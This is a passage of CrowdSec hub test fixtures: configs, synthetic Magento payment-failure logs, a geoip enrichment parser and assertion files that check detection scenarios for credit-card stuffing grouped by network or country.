results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["username"] == "asdasd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-06-09T12:22:07.353044Z" hub1/.tests/litespeed-logs/scenario.assert000066400000000000000000000000001437532772500211100ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-as/000077500000000000000000000000001437532772500163655ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-as/config.yaml000066400000000000000000000005261437532772500205210ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/magento-extension-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/geoip-enrich scenarios: - ./scenarios/crowdsecurity/http-magento-ccs-by-as.yaml postoverflows: - "" log_file: magento-ccs-by-as.log log_type: magento-extension labels: {} ignore_parsers: true hub1/.tests/magento-ccs-by-as/magento-ccs-by-as.log000066400000000000000000000102751437532772500223060ustar00rootroot00000000000000[2022-02-11 14:44:40] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:40] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.5","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:41] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.6","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:42] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.7","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:43] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.8","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:44] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.9","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:45] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.10","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:45] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.11","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:47] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.12","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:49] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.13","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:49] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.14","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:50] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.15","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:51] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.16","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:51] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.17","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:52] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.18","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:53] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.19","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:53] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.20","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:53] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.21","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:54] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.22","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:55] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.23","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:55] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.24","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:56] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"2.2.2.25","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] hub1/.tests/magento-ccs-by-as/parser.assert000066400000000000000000000000001437532772500210720ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-as/scenario.assert000066400000000000000000000333441437532772500214220ustar00rootroot00000000000000len(results) == 1 "2.2.2.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.4"].IP == "2.2.2.4" results[0].Overflow.Sources["2.2.2.4"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.4"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.4"].GetValue() == "2.2.2.4" "2.2.2.10" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.10"].IP == "2.2.2.10" results[0].Overflow.Sources["2.2.2.10"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.10"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.10"].GetValue() == "2.2.2.10" "2.2.2.12" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.12"].IP == "2.2.2.12" results[0].Overflow.Sources["2.2.2.12"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.12"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.12"].GetValue() == "2.2.2.12" "2.2.2.8" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.8"].IP == "2.2.2.8" results[0].Overflow.Sources["2.2.2.8"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.8"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.8"].GetValue() == "2.2.2.8" "2.2.2.9" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.9"].IP == "2.2.2.9" results[0].Overflow.Sources["2.2.2.9"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.9"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.9"].GetValue() == "2.2.2.9" "2.2.2.11" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.11"].IP == "2.2.2.11" results[0].Overflow.Sources["2.2.2.11"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.11"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.11"].GetValue() == "2.2.2.11" "2.2.2.13" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.13"].IP == "2.2.2.13" results[0].Overflow.Sources["2.2.2.13"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.13"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.13"].GetValue() == "2.2.2.13" "2.2.2.14" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.14"].IP == "2.2.2.14" results[0].Overflow.Sources["2.2.2.14"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.14"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.14"].GetValue() == "2.2.2.14" "2.2.2.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.5"].IP == "2.2.2.5" results[0].Overflow.Sources["2.2.2.5"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.5"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.5"].GetValue() == "2.2.2.5" "2.2.2.6" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.6"].IP == "2.2.2.6" results[0].Overflow.Sources["2.2.2.6"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.6"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.6"].GetValue() == "2.2.2.6" "2.2.2.7" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.7"].IP == "2.2.2.7" results[0].Overflow.Sources["2.2.2.7"].Range == "2.0.0.0/12" results[0].Overflow.Sources["2.2.2.7"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.7"].GetValue() == "2.2.2.7" results[0].Overflow.Alert.Events[0].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[0].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[0].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[0].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[0].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[0].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[0].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[0].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "2.2.2.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-11T14:44:40Z" results[0].Overflow.Alert.Events[1].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[1].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[1].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[1].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[1].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[1].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[1].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[1].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "2.2.2.5" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-11T14:44:40Z" results[0].Overflow.Alert.Events[2].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[2].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[2].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[2].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[2].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[2].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[2].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[2].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "2.2.2.6" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-11T14:44:41Z" results[0].Overflow.Alert.Events[3].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[3].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[3].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[3].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[3].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[3].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[3].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[3].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "2.2.2.7" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-11T14:44:42Z" results[0].Overflow.Alert.Events[4].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[4].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[4].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[4].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[4].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[4].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[4].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[4].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "2.2.2.8" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-11T14:44:43Z" results[0].Overflow.Alert.Events[5].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[5].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[5].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[5].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[5].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[5].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[5].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[5].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "2.2.2.9" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-11T14:44:44Z" results[0].Overflow.Alert.Events[6].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[6].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[6].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[6].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[6].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[6].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[6].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[6].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "2.2.2.10" results[0].Overflow.Alert.Events[6].GetMeta("timestamp") == "2022-02-11T14:44:45Z" results[0].Overflow.Alert.Events[7].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[7].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[7].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[7].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[7].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[7].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[7].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[7].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "2.2.2.11" results[0].Overflow.Alert.Events[7].GetMeta("timestamp") == "2022-02-11T14:44:45Z" results[0].Overflow.Alert.Events[8].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[8].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[8].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[8].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[8].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[8].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[8].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[8].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "2.2.2.12" results[0].Overflow.Alert.Events[8].GetMeta("timestamp") == "2022-02-11T14:44:47Z" results[0].Overflow.Alert.Events[9].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[9].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[9].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[9].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[9].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[9].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[9].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[9].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "2.2.2.13" results[0].Overflow.Alert.Events[9].GetMeta("timestamp") == "2022-02-11T14:44:49Z" results[0].Overflow.Alert.Events[10].GetMeta("ASNNumber") == "3215" results[0].Overflow.Alert.Events[10].GetMeta("ASNOrg") == "Orange" results[0].Overflow.Alert.Events[10].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[10].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[10].GetMeta("SourceRange") == "2.0.0.0/12" results[0].Overflow.Alert.Events[10].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "magento-ccs-by-as.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[10].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[10].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "2.2.2.14" results[0].Overflow.Alert.Events[10].GetMeta("timestamp") == "2022-02-11T14:44:49Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-magento-ccs-by-as" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 11hub1/.tests/magento-ccs-by-country/000077500000000000000000000000001437532772500174655ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-country/config.yaml000066400000000000000000000007621437532772500216230ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/magento-extension-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./.tests/magento-ccs-by-country/parsers/s02-enrich/crowdsecurity/geoip-enrich.yaml #we don't use the actual parser because we need to change the download URLs for the MMDBs scenarios: - ./scenarios/crowdsecurity/http-magento-ccs-by-country.yaml postoverflows: - "" log_file: magento-ccs-by-country.log log_type: magento-extension labels: {} ignore_parsers: true hub1/.tests/magento-ccs-by-country/magento-ccs-by-country.log000066400000000000000000000102751437532772500245060ustar00rootroot00000000000000[2022-02-11 14:44:40] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:40] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.5","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:41] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.6","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:42] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.7","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:43] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.8","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:44] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.9","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:45] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.10","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:45] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.11","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:47] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.12","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:49] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.13","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:49] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.14","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:50] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.15","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:51] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.16","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:51] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.17","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:52] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.18","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:53] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.19","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:53] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.20","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:53] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.21","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:54] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.22","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:55] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.23","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:55] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.24","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:56] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.25","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] hub1/.tests/magento-ccs-by-country/parser.assert000066400000000000000000000000001437532772500221720ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-country/parsers/000077500000000000000000000000001437532772500211445ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-country/parsers/s02-enrich/000077500000000000000000000000001437532772500230165ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-country/parsers/s02-enrich/crowdsecurity/000077500000000000000000000000001437532772500257245ustar00rootroot00000000000000hub1/.tests/magento-ccs-by-country/parsers/s02-enrich/crowdsecurity/geoip-enrich.yaml000066400000000000000000000021041437532772500311560ustar00rootroot00000000000000#This is the same parser as the one in the hub, but with links to test databases. #If the actual parser is updated, this file also needs to be updated filter: "'source_ip' in evt.Meta" name: crowdsecurity/geoip-enrich description: "Populate event with geoloc info : as, country, coords, source range." data: - source_url: https://crowdsec-statics-assets.s3.eu-west-1.amazonaws.com/GeoLite2-Test-City.mmdb dest_file: GeoLite2-City.mmdb - source_url: https://crowdsec-statics-assets.s3.eu-west-1.amazonaws.com/GeoLite2-Test-ASN.mmdb dest_file: GeoLite2-ASN.mmdb statics: - method: GeoIpCity expression: evt.Meta.source_ip - meta: IsoCode expression: evt.Enriched.IsoCode - meta: IsInEU expression: evt.Enriched.IsInEU - meta: GeoCoords expression: evt.Enriched.GeoCoords - method: GeoIpASN expression: evt.Meta.source_ip - meta: ASNNumber expression: evt.Enriched.ASNNumber - meta: ASNOrg expression: evt.Enriched.ASNOrg - method: IpToRange expression: evt.Meta.source_ip - meta: SourceRange expression: evt.Enriched.SourceRangehub1/.tests/magento-ccs-by-country/scenario.assert000066400000000000000000000334661437532772500225270ustar00rootroot00000000000000len(results) == 1 "1.2.3.9" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.9"].IP == "1.2.3.9" results[0].Overflow.Sources["1.2.3.9"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.9"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.9"].GetValue() == "1.2.3.9" "1.2.3.10" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.10"].IP == "1.2.3.10" results[0].Overflow.Sources["1.2.3.10"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.10"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.10"].GetValue() == "1.2.3.10" "1.2.3.13" in results[0].Overflow.GetSources() 